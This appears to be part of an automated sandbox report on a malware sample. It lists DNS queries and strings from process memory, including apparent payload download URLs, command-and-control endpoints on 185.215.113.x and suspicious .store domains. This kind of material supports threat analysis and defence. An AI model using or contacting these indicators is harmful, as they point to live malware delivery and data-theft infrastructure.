Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: LRPC-e433ee860fe502924ba/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a964aafb6ec188b485ed; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=734f4bc07958f5b9151ee1ba; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35052Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 11 Nov 2024 18:19:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: scriptyprefej.store
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe;
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exee
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeGce
Source: file.exe, 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579443796.0000000000FE5000.00000040.00000001.01000000.00000003.sdmp, 474b2c9b63.exe, 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll)
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll:
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllS
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1579011520.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll;
Source: file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKw
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSw
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpcv
Source: file.exe, 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.1579443796.0000000000FE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.1579443796.0000000000FE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/M
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php590001
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;M
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw#M
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKwgR
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpOR
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpSM
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php_M
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpeSE
Source: skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpwM
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/p
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_487.10.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1610959476.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_489.10.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_489.10.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_487.10.dr, chromecache_489.10.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 0d23a4d0-9a30-47a0-b238-b4cd1141cb3f.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.14.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 0d23a4d0-9a30-47a0-b238-b4cd1141cb3f.tmp.16.dr	String found in binary or memory: https://clients2.google.com
